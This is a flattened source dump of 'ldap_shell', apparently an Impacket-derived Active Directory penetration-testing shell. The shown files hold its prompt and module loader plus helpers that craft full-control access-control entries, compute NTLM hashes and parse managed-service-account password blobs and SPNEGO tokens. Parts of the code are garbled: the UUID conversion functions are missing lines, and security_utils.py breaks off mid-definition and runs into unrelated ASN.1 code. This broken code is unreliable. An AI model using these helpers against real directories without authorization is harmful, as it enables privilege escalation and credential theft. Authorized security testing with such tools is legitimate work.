reversed(list(self.history.get_strings())): 93 | if entry.startswith(base_command + ' '): 94 | last_full_command = entry 95 | break 96 | 97 | if not last_full_command: 98 | return None 99 | 100 | # Compare current input with history entry 101 | if last_full_command.startswith(text): 102 | remaining_part = last_full_command[len(text):] 103 | return Suggestion(remaining_part) 104 | 105 | return None 106 | 107 | def _get_module_suggestion(self, text: str) -> Suggestion | None: 108 | """Standard module argument suggestion""" 109 | words = text.split() 110 | if len(words) == 0 or words[0] not in self.modules: 111 | return None 112 | 113 | module = self.modules[words[0]] 114 | args = module.get_arguments() 115 | current_arg_index = len(words) - 1 116 | 117 | if current_arg_index >= len(args): 118 | return None 119 | 120 | current_arg = args[current_arg_index] 121 | suggestion = f"{current_arg.name} " if current_arg.required else f"[{current_arg.name}] " 122 | return Suggestion(suggestion) 123 | 124 | class Prompt: 125 | def __init__(self, domain_dumper, client, noninteractive=False): 126 | self.domain_dumper = domain_dumper 127 | self.client = client 128 | self.prompt = '# ' 129 | self.history = history 130 | self.identchars = string.ascii_letters + string.digits + '_' 131 | self.noninteractive = noninteractive 132 | self.modules = ModuleLoader.load_modules() 133 | 134 | self.completer = ModuleCompleter(self.modules, domain_dumper=self.domain_dumper, client=self.client) 135 | self.suggester = ModuleSuggester(self.modules, self.history) 136 | 137 | # Create key bindings 138 | self.kb = KeyBindings() 139 | 140 | @self.kb.add('enter') 141 | def _(event): 142 | """Handle Enter press""" 143 | b = event.current_buffer 144 | 145 | # If there is active autocompletion state 146 | if b.complete_state and b.complete_state.current_completion: 147 | completion = b.complete_state.current_completion 148 | 149 | # Get list of commands 150 | available_commands = ModuleLoader.list_modules() 151 | 152 | # If completion is a command 153 | if completion.text in available_commands and not ' ' in b.document.text_before_cursor: 154 | # Delete all text 155 | b.delete(len(b.document.text_after_cursor)) # first after cursor 156 | b.delete_before_cursor(len(b.document.text_before_cursor)) # then before cursor 157 | # Insert command 158 | b.insert_text(completion.text + ' ') 159 | else: 160 | # For arguments: find last space or comma before cursor 161 | text = b.document.text 162 | cursor_position = b.document.cursor_position 163 | text_before_cursor = text[:cursor_position] 164 | 165 | # Find position of last separator (space or comma) 166 | if text_before_cursor.count('"') % 2 == 1: 167 | quoted_words = shlex.split(text_before_cursor+'"') 168 | else: 169 | quoted_words = shlex.split(text_before_cursor) 170 | 171 | last_word = quoted_words[-1] 172 | if ',' in last_word and not 'DC=' in last_word: 173 | del_word = last_word.split(',')[-1] 174 | elif ' ' in last_word or '"' in last_word: 175 | del_word = f'"{last_word}"' 176 | elif 'DC=' in last_word: 177 | del_word = f'"{last_word}"' 178 | else: 179 | del_word = last_word 180 | last_separator = len(text_before_cursor) - len(del_word) 181 | 182 | if last_separator >= 0: 183 | # Delete text from last separator to cursor 184 | chars_to_delete = cursor_position - (last_separator) 185 | if chars_to_delete > 0: 186 | b.delete_before_cursor(chars_to_delete) 187 | else: 188 | # If no separator found, delete all text before cursor 189 | b.delete_before_cursor(len(text_before_cursor)) 190 | 191 | b.insert_text(completion.text) 192 | 193 | # Clear autocompletion state 194 | b.complete_state = None 195 | return 196 | 197 | # If no active autocompletion - execute command 198 | event.current_buffer.validate_and_handle() 199 | 200 | @self.kb.add('tab') 201 | def _(event): 202 | """Handle Tab press""" 203 | b = event.current_buffer 204 | 205 | if b.complete_state: 206 | b.complete_next() 207 | else: 208 | b.start_completion(select_first=False) 209 | 210 | def parseline(self, line): 211 | line = line.strip() 212 | if not line: 213 | return None, None, line 214 | elif line[0] == '?': 215 | line = 'help ' + line[1:] 216 | i, n = 0, len(line) 217 | while i < n and line[i] in self.identchars: i = i+1 218 | cmd, arg = line[:i], line[i:].strip() 219 | return cmd, arg, line 220 | 221 | def is_valid_line(self, line): 222 | cmd, arg, line = self.parseline(line) 223 | if not line: 224 | return False 225 | if cmd is None: 226 | return False 227 | self.lastcmd = line 228 | if line == 'EOF' : 229 | self.lastcmd = '' 230 | if cmd == '': 231 | return False 232 | return True 233 | 234 | def _parse_arg_string(self, module_name: str, arg_string: str) -> dict: 235 | args_dict = {} 236 | 237 | # Use shlex for proper string parsing with quotes 238 | try: 239 | args = shlex.split(arg_string) 240 | except ValueError as e: 241 | # If there are unclosed quotes, try to process as is 242 | print(f"Warning: {e}") 243 | args = arg_string.strip().split() 244 | 245 | for i, value in enumerate(args): 246 | if i >= len(self.modules[module_name].get_arguments()): 247 | break 248 | arg_name = self.modules[module_name].get_arguments()[i].name 249 | args_dict[arg_name] = value 250 | return args_dict 251 | 252 | def parse_module_args(self, module_name: str, arg_string: str) -> dict: 253 | if module_name not in self.modules: 254 | raise ValueError(f"Module {module_name} not found") 255 | 256 | args_dict = self._parse_arg_string(module_name, arg_string) 257 | return args_dict 258 | 259 | def execute_module(self, module_name: str, args_dict: dict): 260 | """Execute module with given arguments""" 261 | #try: 262 | module = self.modules[module_name]( 263 | args_dict, 264 | self.domain_dumper, 265 | self.client, 266 | logging.getLogger('ldap-shell') 267 | ) 268 | return module() 269 | 270 | def check_args_exist(self, module_name: str, args_dict: dict): 271 | module = self.modules[module_name] 272 | arguments = module.get_arguments() 273 | for arg in arguments: 274 | if arg.name not in args_dict and arg.required: 275 | return False 276 | return True 277 | 278 | def onecmd(self, line): 279 | cmd, arg_string, _ = self.parseline(line) 280 | if self.is_valid_line(line) is False: 281 | return 282 | 283 | if cmd in self.modules: 284 | try: 285 | args_dict = self.parse_module_args(cmd, arg_string) 286 | if not self.check_args_exist(cmd, args_dict): 287 | print(f'*** Missing required arguments for {cmd}. Use `help {cmd}` to see available arguments.') 288 | return 289 | return self.execute_module(cmd, args_dict) 290 | except ValueError as e: 291 | print(f"Error: {e}") 292 | import traceback 293 | print("Traceback:") 294 | print(traceback.format_exc()) 295 | else: 296 | print(f'Module {cmd} not found') 297 | 298 | def cmdloop(self): 299 | if self.noninteractive: 300 | self.session = PromptSession(self.prompt, history=self.history) 301 | else: 302 | self.session = PromptSession( 303 | self.prompt, 304 | completer=self.completer, 305 | complete_style=CompleteStyle.MULTI_COLUMN, 306 | history=self.history, 307 | auto_suggest=self.suggester, #AutoSuggestFromHistory(), 308 | key_bindings=self.kb, 309 | complete_while_typing=True 310 | ) 311 | while True: 312 | try: 313 | line = self.session.prompt(self.prompt) 314 | if line.strip() == 'exit': 315 | break 316 | prompt = self.onecmd(line) 317 | if prompt: 318 | self.prompt = prompt 319 | except KeyboardInterrupt: 320 | break 321 | -------------------------------------------------------------------------------- /ldap_shell/utils/__init__.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import logging.config 4 | import os 5 | import re 6 | from datetime import datetime 7 | from typing import Optional, Tuple 8 | from prompt_toolkit.history import FileHistory 9 | 10 | log = logging.getLogger('ldap-shell.utils') 11 | 12 | # Compat 13 | PY3 = True 14 | 15 | # Command history initialization 16 | history = FileHistory(os.path.expanduser('~/.ldap_shell_history')) 17 | 18 | 19 | def init_logging(debug: bool, logs_dir_path: Optional[str] = None) -> None: 20 | config = { 21 | 'version': 1, 22 | 'disable_existing_loggers': False, 23 | 'formatters': { 24 | 'console_basic': { 25 | 'format': '[%(levelname)s] ' 26 | '%(message)s', 27 | 'datefmt': '%H:%M:%S', 28 | }, 29 | 'file_text': { 30 | 'format': '%(asctime)s (+%(relativeCreated)d) [%(levelname)s] P%(process)d T%(thread)d' 31 | ' <%(pathname)s:%(lineno)d, %(funcName)s at %(module)s> \'%(name)s\': %(message)s', 32 | }, 33 | }, 34 | 'handlers': { 35 | 'console': { 36 | 'level': 'DEBUG' if debug else 'INFO', 37 | 'class': 'logging.StreamHandler', 38 | 'stream': 'ext://sys.stdout', 39 | 'formatter': 'console_basic', 40 | }, 41 | }, 42 | 'loggers': { 43 | '': { 44 | 'level': 'DEBUG', 45 | 'handlers': ['console', ], 46 | }, 47 | 'ldap-shell': { 48 | 'level': 'DEBUG', 49 | 'handlers': ['console', ], 50 | 'propagate': False, 51 | }, 52 | }, 53 | } 54 | log_file_path = None 55 | if logs_dir_path is not None: 56 | date_str = datetime.now().strftime('%Y-%m-%d_%H-%M-%S.%f') 57 | filename = f'ldap-shell_{date_str}.log' 58 | log_file_path = os.path.join(logs_dir_path, filename) 59 | config['handlers']['file'] = { 60 | 'level': 'DEBUG', 61 | 'class': 'logging.FileHandler', 62 | 'filename': log_file_path, 63 | 'mode': 'wt', 64 | 'encoding': 'utf-8', 65 | 'formatter': 'file_text', 66 | } 67 | 68 | for logger in config['loggers'].values(): 69 | # noinspection PyUnresolvedReferences 70 | logger['handlers'].append('file') 71 | 72 | logging.config.dictConfig(config) 73 | log.debug('Logging (re)initialised, debug=%s, log_file=%s', debug, log_file_path) 74 | 75 | 76 | credential_regex = re.compile(r'(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?') 77 | 78 | 79 | def parse_credentials(credentials: str) -> Tuple[str, str, str]: 80 | """Helper function to parse credentials information. The expected format is: 81 | 82 | <:PASSWORD> 83 | 84 | :param credentials: credentials to parse 85 | :type credentials: string 86 | 87 | :return: tuple of domain, username and password 88 | :rtype: (string, string, string) 89 | """ 90 | domain, username, password = credential_regex.match(credentials).groups('') 91 | return domain, username, password 92 | 93 | 94 | def b(s): 95 | """Impacket PY2/3 compat wrapper""" 96 | return s.encode("latin-1") 97 | -------------------------------------------------------------------------------- /ldap_shell/utils/ace_utils.py: -------------------------------------------------------------------------------- 1 | import ldap_shell.utils.ldaptypes as ldaptypes 2 | from ldap_shell.utils.ldap_utils import LdapUtils 3 | 4 | class AceUtils: 5 | @staticmethod 6 | def create_allow_ace(sid): 7 | nace = ldaptypes.ACE() 8 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 9 | nace['AceFlags'] = 0x00 10 | acedata = ldaptypes.ACCESS_ALLOWED_ACE() 11 | acedata['Mask'] = ldaptypes.ACCESS_MASK() 12 | acedata['Mask']['Mask'] = 983551 # Full control 13 | 14 | # Handle both string SID and binary format 15 | if isinstance(sid, str): 16 | acedata['Sid'] = ldaptypes.LDAP_SID() 17 | acedata['Sid'].fromCanonical(sid) 18 | else: 19 | acedata['Sid'] = sid 20 | 21 | nace['Ace'] = acedata 22 | return nace 23 | 24 | @staticmethod 25 | def create_empty_sd(): 26 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 27 | sd['Revision'] = b'\x01' 28 | sd['Sbz1'] = b'\x00' 29 | sd['Control'] = 32772 30 | sd['OwnerSid'] = ldaptypes.LDAP_SID() 31 | # BUILTIN\Administrators 32 | sd['OwnerSid'].fromCanonical('S-1-5-32-544') 33 | sd['GroupSid'] = b'' 34 | sd['Sacl'] = b'' 35 | acl = ldaptypes.ACL() 36 | acl['AclRevision'] = 4 37 | acl['Sbz1'] = 0 38 | acl['Sbz2'] = 0 39 | acl.aces = [] 40 | sd['Dacl'] = acl 41 | return sd 42 | 43 | @staticmethod 44 | def createACE(sid, object_type=None, access_mask=983551): # 983551 Full control 45 | nace = ldaptypes.ACE() 46 | nace['AceFlags'] = 0x00 47 | 48 | if object_type is None: 49 | acedata = ldaptypes.ACCESS_ALLOWED_ACE() 50 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 51 | else: 52 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 53 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 54 | acedata['ObjectType'] = LdapUtils.string_to_bin(object_type) 55 | acedata['InheritedObjectType'] = b'' 56 | acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 57 | 58 | acedata['Mask'] = ldaptypes.ACCESS_MASK() 59 | acedata['Mask']['Mask'] = access_mask 60 | 61 | if type(sid) is str: 62 | acedata['Sid'] = ldaptypes.LDAP_SID() 63 | acedata['Sid'].fromCanonical(sid) 64 | else: 65 | acedata['Sid'] = sid 66 | 67 | nace['Ace'] = acedata 68 | return nace -------------------------------------------------------------------------------- /ldap_shell/utils/ldap_utils.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | import re 3 | from struct import pack, unpack 4 | import logging 5 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID, ACL 6 | from ldap3.protocol.microsoft import security_descriptor_control 7 | 8 | class LdapUtils: 9 | @staticmethod 10 | def get_dn(client, domain_dumper, name: str) -> Optional[str]: 11 | """Get DN with automatic computer account retry""" 12 | result = LdapUtils._search_with_retry( 13 | client, 14 | domain_dumper, 15 | name, 16 | attributes=['distinguishedName'] 17 | ) 18 | return result.entry_dn if result else None 19 | 20 | @staticmethod 21 | def get_attribute(client, domain_dumper, name: str, attribute: str) -> Optional[str]: 22 | """Get attribute with computer account auto-retry""" 23 | result = LdapUtils._search_with_retry( 24 | client, 25 | domain_dumper, 26 | name, 27 | attributes=[attribute] 28 | ) 29 | return result[attribute].value if result else None 30 | 31 | @staticmethod 32 | def get_sid(client, domain_dumper, name: str) -> Optional[str]: 33 | """Get SID with computer account auto-retry""" 34 | result = LdapUtils._search_with_retry( 35 | client, 36 | domain_dumper, 37 | name, 38 | attributes=['objectSid'] 39 | ) 40 | return result['objectSid'].value if result else None 41 | 42 | @staticmethod 43 | def sid_to_user(client, domain_dumper, sid: str) -> str: 44 | """Convert SID to samAccountName""" 45 | client.search( 46 | domain_dumper.root, 47 | f'(objectSid={sid})', 48 | attributes=['sAMAccountName'] 49 | ) 50 | if client.entries: 51 | return client.entries[0]['sAMAccountName'].value 52 | return None 53 | 54 | @staticmethod 55 | def check_dn(client, domain_dumper, dn: str) -> bool: 56 | """Check if DN is valid""" 57 | client.search( 58 | domain_dumper.root, 59 | f'(distinguishedName={dn})', 60 | attributes=['objectClass'] 61 | ) 62 | return len(client.entries) > 0 63 | 64 | @staticmethod 65 | def get_domain_name(dn: str) -> str: 66 | """Get domain name from DN""" 67 | return re.sub(',DC=', '.', dn[dn.find('DC='):], flags=re.I)[3:] 68 | 69 | @staticmethod 70 | def get_info_by_dn(client, domain_dumper, dn: str) -> Optional[tuple[bytes, str]]: 71 | """Get info by DN""" 72 | client.search( 73 | domain_dumper.root, 74 | f'(distinguishedName={dn})', 75 | attributes=['nTSecurityDescriptor', 'objectSid'], 76 | controls=security_descriptor_control(sdflags=0x04) 77 | ) 78 | if len(client.entries) > 0: 79 | return client.entries[0]['nTSecurityDescriptor'].raw_values, client.entries[0]['objectSid'].value 80 | return None 81 | 82 | @staticmethod 83 | def get_name_from_dn(dn: str) -> Optional[str]: 84 | """Get name from DN""" 85 | return dn.split(',')[0].split('=')[1] 86 | 87 | @staticmethod 88 | def _search_with_retry(client, domain_dumper, name: str, attributes: list): 89 | # Initial search 90 | client.search( 91 | domain_dumper.root, 92 | f'(sAMAccountName={name})', 93 | attributes=attributes 94 | ) 95 | if client.entries: 96 | return client.entries[0] 97 | 98 | # If not found, try adding $ for computer accounts 99 | if not name.endswith('$'): 100 | retry_name = f'{name}$' 101 | client.search( 102 | domain_dumper.root, 103 | f'(sAMAccountName={retry_name})', 104 | attributes=attributes 105 | ) 106 | if client.entries: 107 | logging.debug(f'Auto-corrected computer account name: {name} -> {retry_name}') 108 | return client.entries[0] 109 | 110 | return None 111 | 112 | @staticmethod 113 | def bin_to_string(uuid): 114 | uuid1, uuid2, uuid3 = unpack('HHL', uuid[8:16]) 116 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 117 | 118 | @staticmethod 119 | def string_to_bin(uuid): 120 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 121 | # The first three components of the UUID are little-endian, and the last two are big-endian 122 | matches = re.match( 123 | r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", 124 | uuid) 125 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 126 | uuid = pack('HHL', uuid4, uuid5, uuid6) 128 | return uuid 129 | 130 | @staticmethod 131 | def create_empty_sd(): 132 | sd = SR_SECURITY_DESCRIPTOR() 133 | sd['Revision'] = b'\x01' 134 | sd['Sbz1'] = b'\x00' 135 | sd['Control'] = 32772 136 | sd['OwnerSid'] = LDAP_SID() 137 | # BUILTIN\Administrators 138 | sd['OwnerSid'].fromCanonical('S-1-5-32-544') 139 | sd['GroupSid'] = b'' 140 | sd['Sacl'] = b'' 141 | acl = ACL() 142 | acl['AclRevision'] = 4 143 | acl['Sbz1'] = 0 144 | acl['Sbz2'] = 0 145 | acl.aces = [] 146 | sd['Dacl'] = acl 147 | return sd -------------------------------------------------------------------------------- /ldap_shell/utils/module_loader.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib 3 | 4 | class ModuleLoader: 5 | @staticmethod 6 | def list_modules() -> list[str]: 7 | module_path = os.path.join(os.path.dirname(__file__), '../ldap_modules') 8 | modules = os.listdir(module_path) 9 | modules_list = [] 10 | for module in modules: 11 | if os.path.isdir(os.path.join(module_path, module)) and not '__' in module and module != 'template': 12 | modules_list.append(module) 13 | return modules_list 14 | 15 | @staticmethod 16 | def load_modules(): 17 | """Load all modules from ldap_modules directory""" 18 | modules = {} 19 | modules_list = ModuleLoader.list_modules() 20 | for module_name in modules_list: 21 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module') 22 | modules[module_name] = module.LdapShellModule 23 | return modules 24 | 25 | @staticmethod 26 | def load_module(module_name: str): 27 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module') 28 | return module.LdapShellModule 29 | 30 | def get_module_help(module_name: str): 31 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module') 32 | help_text = module.help_text 33 | del module 34 | return help_text 35 | 36 | def get_module_examples(module_name: str): 37 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module') 38 | examples_text = module.examples_text 39 | del module 40 | return examples_text -------------------------------------------------------------------------------- /ldap_shell/utils/security_utils.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import binascii 4 | import hashlib 5 | from impacket.structure import Structure 6 | class SecurityUtils: 7 | @staticmethod 8 | def generate_password(length=15): 9 | return ''.join( 10 | random.choice(string.ascii_letters + string.digits + "@.,") for _ in range(length) 11 | ) 12 | 13 | @staticmethod 14 | def calculate_ntlm (password): 15 | return binascii.hexlify(hashlib.new("md4", password.encode("utf-16le")).digest()).decode() 16 | 17 | class MSDS_MANAGEDPASSWORD_BLOB(Structure): 18 | structure = ( 19 | ('Version','> 16, len(data) & 0xFFFF) + data 66 | elif 0x1000000 <= len(data) <= 0xffffffff: 67 | res = pack('!BL', 0x84, len(data)) + data 68 | else: 69 | raise Exception('Error in asn1encode') 70 | return res 71 | 72 | 73 | class GSSAPI: 74 | # Generic GSSAPI Header Format 75 | def __init__(self, data=None): 76 | self.fields = {} 77 | self['UUID'] = GSS_API_SPNEGO_UUID 78 | if data: 79 | self.fromString(data) 80 | pass 81 | 82 | def __setitem__(self, key, value): 83 | self.fields[key] = value 84 | 85 | def __getitem__(self, key): 86 | return self.fields[key] 87 | 88 | def __delitem__(self, key): 89 | del self.fields[key] 90 | 91 | def __len__(self): 92 | return len(self.getData()) 93 | 94 | def __str__(self): 95 | return len(self.getData()) 96 | 97 | def fromString(self, data=None): 98 | # Manual parse of the GSSAPI Header Format 99 | # It should be something like 100 | # AID = 0x60 TAG, BER Length 101 | # OID = 0x06 TAG 102 | # GSSAPI OID 103 | # UUID data (BER Encoded) 104 | # Payload 105 | next_byte = unpack('B', data[:1])[0] 106 | if next_byte != ASN1_AID: 107 | raise Exception('Unknown AID=%x' % next_byte) 108 | data = data[1:] 109 | decode_data, total_bytes = asn1decode(data) 110 | # Now we should have a OID tag 111 | next_byte = unpack('B', decode_data[:1])[0] 112 | if next_byte != ASN1_OID: 113 | raise Exception('OID tag not found %x' % next_byte) 114 | decode_data = decode_data[1:] 115 | # Now the OID contents, should be SPNEGO UUID 116 | uuid, total_bytes = asn1decode(decode_data) 117 | self['OID'] = uuid 118 | # the rest should be the data 119 | self['Payload'] = decode_data[total_bytes:] 120 | # pass 121 | 122 | def dump(self): 123 | for i in list(self.fields.keys()): 124 | print("%s: {%r}" % (i, self[i])) 125 | 126 | def getData(self): 127 | ans = pack('B', ASN1_AID) 128 | ans += asn1encode( 129 | pack('B', ASN1_OID) + 130 | asn1encode(self['UUID']) + 131 | self['Payload']) 132 | return ans 133 | 134 | 135 | class SPNEGO_NegTokenInit(GSSAPI): 136 | # https://tools.ietf.org/html/rfc4178#page-8 137 | # NegTokeInit :: = SEQUENCE { 138 | # mechTypes [0] MechTypeList, 139 | # reqFlags [1] ContextFlags OPTIONAL, 140 | # mechToken [2] OCTET STRING OPTIONAL, 141 | # mechListMIC [3] OCTET STRING OPTIONAL, 142 | # } 143 | SPNEGO_NEG_TOKEN_INIT = 0xa0 144 | 145 | def fromString(self, data=0): 146 | GSSAPI.fromString(self, data) 147 | payload = self['Payload'] 148 | next_byte = unpack('B', payload[:1])[0] 149 | if next_byte != SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT: 150 | raise Exception('NegTokenInit not found %x' % next_byte) 151 | payload = payload[1:] 152 | decode_data, total_bytes = asn1decode(payload) 153 | # Now we should have a SEQUENCE Tag 154 | next_byte = unpack('B', decode_data[:1])[0] 155 | if next_byte != ASN1_SEQUENCE: 156 | raise Exception('SEQUENCE tag not found %x' % next_byte) 157 | decode_data = decode_data[1:] 158 | decode_data, total_bytes2 = asn1decode(decode_data) 159 | next_byte = unpack('B', decode_data[:1])[0] 160 | if next_byte != ASN1_MECH_TYPE: 161 | raise Exception('MechType tag not found %x' % next_byte) 162 | decode_data = decode_data[1:] 163 | remaining_data = decode_data 164 | decode_data, total_bytes3 = asn1decode(decode_data) 165 | next_byte = unpack('B', decode_data[:1])[0] 166 | if next_byte != ASN1_SEQUENCE: 167 | raise Exception('SEQUENCE tag not found %x' % next_byte) 168 | decode_data = decode_data[1:] 169 | decode_data, total_bytes4 = asn1decode(decode_data) 170 | # And finally we should have the MechTypes 171 | self['MechTypes'] = [] 172 | while decode_data: 173 | next_byte = unpack('B', decode_data[:1])[0] 174 | if next_byte != ASN1_OID: 175 | # Not a valid OID, there must be something else we won't unpack 176 | break 177 | decode_data = decode_data[1:] 178 | item, total_bytes = asn1decode(decode_data) 179 | self['MechTypes'].append(item) 180 | decode_data = decode_data[total_bytes:] 181 | 182 | # Do we have MechTokens as well? 183 | decode_data = remaining_data[total_bytes3:] 184 | if len(decode_data) > 0: 185 | next_byte = unpack('B', decode_data[:1])[0] 186 | if next_byte == ASN1_MECH_TOKEN: 187 | # We have tokens in here! 188 | decode_data = decode_data[1:] 189 | decode_data, total_bytes = asn1decode(decode_data) 190 | next_byte = unpack('B', decode_data[:1])[0] 191 | if next_byte == ASN1_OCTET_STRING: 192 | decode_data = decode_data[1:] 193 | decode_data, total_bytes = asn1decode(decode_data) 194 | self['MechToken'] = decode_data 195 | 196 | def getData(self): 197 | mechTypes = b'' 198 | for i in self['MechTypes']: 199 | mechTypes += pack('B', ASN1_OID) 200 | mechTypes += asn1encode(i) 201 | 202 | mechToken = b'' 203 | # Do we have tokens to send? 204 | if 'MechToken' in self.fields: 205 | mechToken = pack('B', ASN1_MECH_TOKEN) + asn1encode( 206 | pack('B', ASN1_OCTET_STRING) + asn1encode( 207 | self['MechToken'])) 208 | 209 | ans = pack('B', SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT) 210 | ans += asn1encode( 211 | pack('B', ASN1_SEQUENCE) + 212 | asn1encode( 213 | pack('B', ASN1_MECH_TYPE) + 214 | asn1encode( 215 | pack('B', ASN1_SEQUENCE) + 216 | asn1encode(mechTypes)) + mechToken)) 217 | 218 | self['Payload'] = ans 219 | return GSSAPI.getData(self) 220 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | ldap3 2 | ldapdomaindump 3 | pyasn1 4 | pycryptodomex 5 | dsinternals 6 | minikerberos 7 | winsspi 8 | impacket 9 | pyOpenSSL 10 | pycryptodome 11 | prompt_toolkit 12 | pydantic 13 | oscrypto @ git+https://github.com/wbond/oscrypto.git@d5f3437ed24257895ae1edd9e503cfb352e635a8 14 | colorama 15 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """ 2 | Installation script. 3 | """ 4 | from setuptools import find_packages, setup 5 | 6 | with open('README.md', mode='r', encoding='utf-8') as f: 7 | readme = f.read() 8 | 9 | setup( 10 | name='ldap_shell', 11 | version='2.0.0', 12 | description='LDAP shell utility from Impacket', 13 | long_description=readme, 14 | author='Riocool', 15 | author_email='Riocool33@gmail.com', 16 | url='https://github.com/PShlyundin/ldap_shell', 17 | install_requires=[ 18 | 'ldap3', 19 | 'ldapdomaindump', 20 | 'pyasn1', 21 | 'pycryptodomex', 22 | 'dsinternals', 23 | 'minikerberos', 24 | 'winsspi', 25 | 'impacket', 26 | 'pyOpenSSL', 27 | 'pycryptodome', 28 | 'prompt_toolkit', 29 | 'pydantic', 30 | 'oscrypto @ git+https://github.com/wbond/oscrypto.git@d5f3437ed24257895ae1edd9e503cfb352e635a8', 31 | 'colorama', 32 | ], 33 | packages=find_packages(), 34 | include_package_data=True, 35 | package_data={ 36 | 'ldap_shell': [ 37 | 'ldap_modules/*/ldap_module.py', 38 | 'ldap_modules/*/*', # Include all files in module subfolders 39 | ] 40 | }, 41 | entry_points={ 42 | 'console_scripts': ['ldap_shell=ldap_shell.__main__:main', ], 43 | }, 44 | ) 45 | --------------------------------------------------------------------------------